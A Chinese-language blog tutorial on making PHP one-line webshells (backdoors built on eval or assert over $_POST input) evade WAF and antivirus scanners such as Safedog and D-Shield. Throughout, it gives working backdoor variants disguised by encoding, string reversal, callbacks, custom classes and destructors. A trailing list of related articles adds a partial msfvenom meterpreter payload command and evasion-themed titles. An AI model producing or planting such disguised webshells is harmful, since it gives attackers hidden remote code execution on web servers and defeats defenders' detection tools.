PHP木马免杀的一些总结
前言
这篇文章写一些php木马免杀的一些技巧,希望对大家有点帮助。这里解释一下什么是php木马,这里大体分为三种:
- 能完成写入文件、列目录、查看文件、执行一些系统命令等少量功能的,这种的是“小马”。
- 可以在目标服务器上执行php代码,并和一些客户端(如菜刀、冰蝎)进行交互的一句话木马。
- 根据 PHP 语法,编写较多代码,并在服务器上执行,完成大量间谍功能的“大马”
以上php木马我们一般我们统称为webshell,这篇文章主要写一下如何对一句话木马变异变形来绕过WAF的查杀。
一句话木马原理
讲php一句话木马免杀之前,先简单说一下一句话木马原理,这样才能更好的举一反三。
先看代码:
<?php eval($_POST["shell"]);?>
其中eval就是执行命令的函数,官方给的说明是eval — 把字符串作为PHP代码执行
函数eval()语言结构是 非常危险的,因为它允许执行任意 PHP 代码。
还有一点需要注意:因为是一个语言构造器而不是一个函数,不能被 可变函数 调用。
可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号(),让系统认为该值是一个函数,从而当做函数来执行。
说的在通俗一点,就是如果你这样用<?php $a=eval;$a() ?>是不行的,所以变形免杀的时候不够灵活,咱们找其他的函数代替,后面讲免杀再详细说。
$_POST['shell']就是接收的数据。也可以使用$_GET或者$_REQUEST。eval函数把接收的数据当作php代码来执行。这样我们就能够让插了一句话木马的网站执行我们传递过去的任意php语句。这便是一句话木马的强大之处。
下面通过几种方法讲一讲木马的免杀
相同功能函数替换
一般WAF查杀,就是检查关键字,而eval上文说过不够灵活,这里可以替换成assert,assert函数PHP手册的解释是:
assert() 回调函数在构建自动测试套件的时候尤其有用,因为它们允许你简易地捕获传入断言的代码,并包含断言的位置信息。当信息能够被其他方法捕获,使用断言可以让它更快更方便!
而我们光替换还是远远不够,还是无法逃过WAF查杀,这样就需要变形了,所以第二种方法字符串变形。绕安全狗比较靠谱,因为安全狗更注重形。而PHP操作字符串的函数非常多,如下图:

这里也总结了一些:
convert_uudecode() #解码一个 uuencode 编码的字符串。
convert_uuencode() #使用 uuencode 编码一个字符串。
ucwords() #函数把字符串中每个单词的首字符转换为大写。
strrev () #反转字符串
trim() #函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() #函数把字符串的一部分替换为另一个字符串
substr() #函数返回字符串的一部分。
strtr() #函数转换字符串中特定的字符。
strtoupper() #函数把字符串转换为大写。
strtolower() #函数把字符串转换为小写。
implode() #将一个一维数组的值转化为字符串。
str_rot13() #函数对字符串执行 ROT13 编码。
举个例子:
<?php
// 使用 uuencode 编码一个字符串
$a=convert_uuencode("assert");
$b=convert_uudecode($a);
$b($_POST["shell"]);
?>
这里就不一一举例了。
自定义函数绕过
举个例子:
<?php
function shadog($a){
$a($_POST["shell"]);
}
shadog(assert);
?>
这种方法绕安全狗比较靠谱,在D盾面前就比较弱智了。
回调函数
call_user_func_array()
call_user_func()
array_filter()
array_walk()
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()
现在大部分回调函数已经被杀毒软件加入全家桶了,得找那比较生僻得。
比如:
<?php
forward_static_call_array(assert,array($_POST["shell"]));
?>
上面说大部分回调函数被杀毒软件加入全家桶,那如何绕过呢?还可以变形,比如我再定义一个函数,或者再定义一个类。
比如我定义一个函数:
<?php
function shawaf($a,$b){
forward_static_call_array($a,$b);
}
shawaf(assert,array($_POST["shell"]));
?>
也可以定义一个类:
<?php
class shawaf{
var $a;
var $b;
function __construct($a,$b)
{
$this->a=$a;
$this->b=$b;
}
function test(){
forward_static_call_array($this->a,$this->b);
}
}
$s1= new shawaf(assert,array($_POST["shell"]));
$s1->test();
?>
特殊字符干扰
特殊字符干扰,要求能干扰到杀毒软件得正则判断,还要代码能执行。比如网上流传得连接符。
举个例子:
<?php
$a = $_POST['a'];
$b = "\n";
eval($b.=$a);
?>
数组绕过
可以把代码放入数组中,执行绕过:
<?php
$a=strrev ("tressa");
$b=[''=>$a($_POST["shell"])];
?>
类绕过
举个例子:
<?php
class shawaf
{
public $a = '';
function __destruct(){
assert("$this->a");
}
}
$b = new shawaf;
$b->a = $_POST["shell"];
?>
编码绕过
这个比较常用得是base64_decode,和base64_encode这一对。因为他的正则匹配可以加入一些下划线干扰杀软。
举个例子:
<?php
$a = base64_decode("YXNz+ZX____J____0");
$a($_POST["shell"]);
?>
小结
通过上面得方法,基本可以有上百种变形,多看看PHP手册。还有一点值得注意,就是PHP7.1之后得版本,已经不能使用强大的assert()函数了。在总结一点,结合杀毒软件的特性来构造相应的免杀方法。比如安全狗杀型,D盾杀参,对于关键词的后传入对于绕过主流杀软都是比较好的。
PHP木马免杀的一些总结的更多相关文章
- 后门木马免杀-msfvenom和msf5(evasion)
贴上使用笔记 不多介绍了 很简单的东西 msfvenom各平台生成木马大全: windows:msfvenom -a x86 --platform Windows -p windows/meterpr ...
- 【黑客免杀攻防】读书笔记2 - 免杀与特征码、其他免杀技术、PE进阶介绍
第3章 免杀与特征码 这一章主要讲了一些操作过程.介绍了MyCCL脚本木马免杀的操作,对于定位特征码在FreeBuf也曾发表过类似工具. VirTest5.0特征码定位器 http://www.fre ...
- 2018-2019-2 网络对抗技术 20165333 Exp3 免杀原理与实践
实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧 使用msf编码器生成各种后门程序及检测 使 ...
- Webshell免杀研究
前言 不想当将军的士兵不是好士兵,不想getshell的Hacker不是好Hacker~有时候我们在做攻防对抗时经常会碰到可以上传webshell的地方,但是经常会被安全狗.D盾.护卫神.云锁等安全软 ...
- BadUsb配合Cobalt-Strike免杀上线
BadUsb配合Cobalt-Strike免杀上线 前言: 原理简介:Badusb的原理是将恶意代码预置在固件之中,当受害人插入USB时,就会执行恶意代码进行恶意操作.Badusb将恶意代码预存在U盘 ...
- 那些shellcode免杀总结
首发先知: https://xz.aliyun.com/t/7170 自己还是想把一些shellcode免杀的技巧通过白话文.傻瓜式的文章把技巧讲清楚.希望更多和我一样web狗也能动手做到免杀的实现. ...
- Atitit.木马病毒的免杀原理---sikuli 的使用
Atitit.木马病毒的免杀原理---sikuli 的使用 1. 使用sikuli java api1 1.1. 3. Write code!1 2. 常用api2 2.1. wait 等待某个界面出 ...
- Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结
Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结 1. ,免杀技术的用途2 1.1. 病毒木马的编写2 1.2. 软件保护所用的加密产品(比如壳)中,有 ...
- Metasploit实现木马生成、捆绑、免杀
原创博客,转载请注出处! 我的公众号,正在建设中,欢迎关注: Meatsploit介绍 2018/01/03 更新 Metasploit是一款优秀的开源(!= 完全免费)渗透测试框架平台,在该平台下可 ...
随机推荐
- 虚拟机解释器与bytecode对接
心头一直有个疑问,jvm虚拟是如何对接class中的字节码的?或者说在未进入 JIT优化阶段时,解释器是如何对接的? 大概阐述 hotspot通过C++代码在堆上申请一块空间,向里面填充一组指令,然后 ...
- VUE数据更新视图不更新的原因
当你利用索引直接设置一个项时,例如:vm.items[indexOfItem] = newValue当你修改数组的长度时,例如:vm.items.length = newLength 数组更新只能通过 ...
- Redis高级项目实战,都0202年了,还不会Redis?
导读 大家都听过1万小时定律,可事实真的是这样吗?做了1万小时的CRUD,不还只会CRUD吗,这年头不适当的更新自身下技术栈,出门和别人聊天吹牛的时候,都没拿不出手,(⊙o⊙)…Redis没入门的童鞋 ...
- Spring Security自定义认证页面(动态网页解决方案+静态网页解决方案)--练气中期圆满
写在前面 上一回我们简单分析了spring security拦截器链的加载流程,我们还有一些简单的问题没有解决.如何自定义登录页面?如何通过数据库获取用户权限信息? 今天主要解决如何配置自定义认证页面 ...
- Java中实现对集合中对象按中文首字母排序
有一个person对象如下: public class Person { private String id;private String nam; } 一个list集合如下: List<Emp ...
- 更换git远程仓库地址
通过命令直接修改远程仓库地址 git remote 查看所有远程仓库 git remote xxx 查看指定远程仓库地址 git remote set-url origin 你新的远程仓库地址 先删除 ...
- 牛客网数据库SQL实战解析(11-20题)
牛客网SQL刷题地址: https://www.nowcoder.com/ta/sql?page=0 牛客网数据库SQL实战解析(01-10题): https://blog.csdn.net/u010 ...
- SpringBoot输出日志到文件
1 基本信息 SpringBoot版本2.2.5 日志框架SLF4J 日志框架的实现LockBack 2 输出文件的配置 2.1 logging.file.name 指定日志文件的位置. 2.1.1 ...
- Java8中的Stream API
本篇文章继续介绍Java 8的另一个新特性——Stream API.新增的Stream API与InputStream和OutputStream是完全不同的概念,Stream API是对Java中集合 ...
- static,private,final,abstract,protected
1,static:静态变量:位于方法区中,只有一份,这个类的所有实例共享,不可以被继承 静态方法:直接通过类就能调用,静态方法中只能使用静态变量,不可以被继承 2,private:类不能用privat ...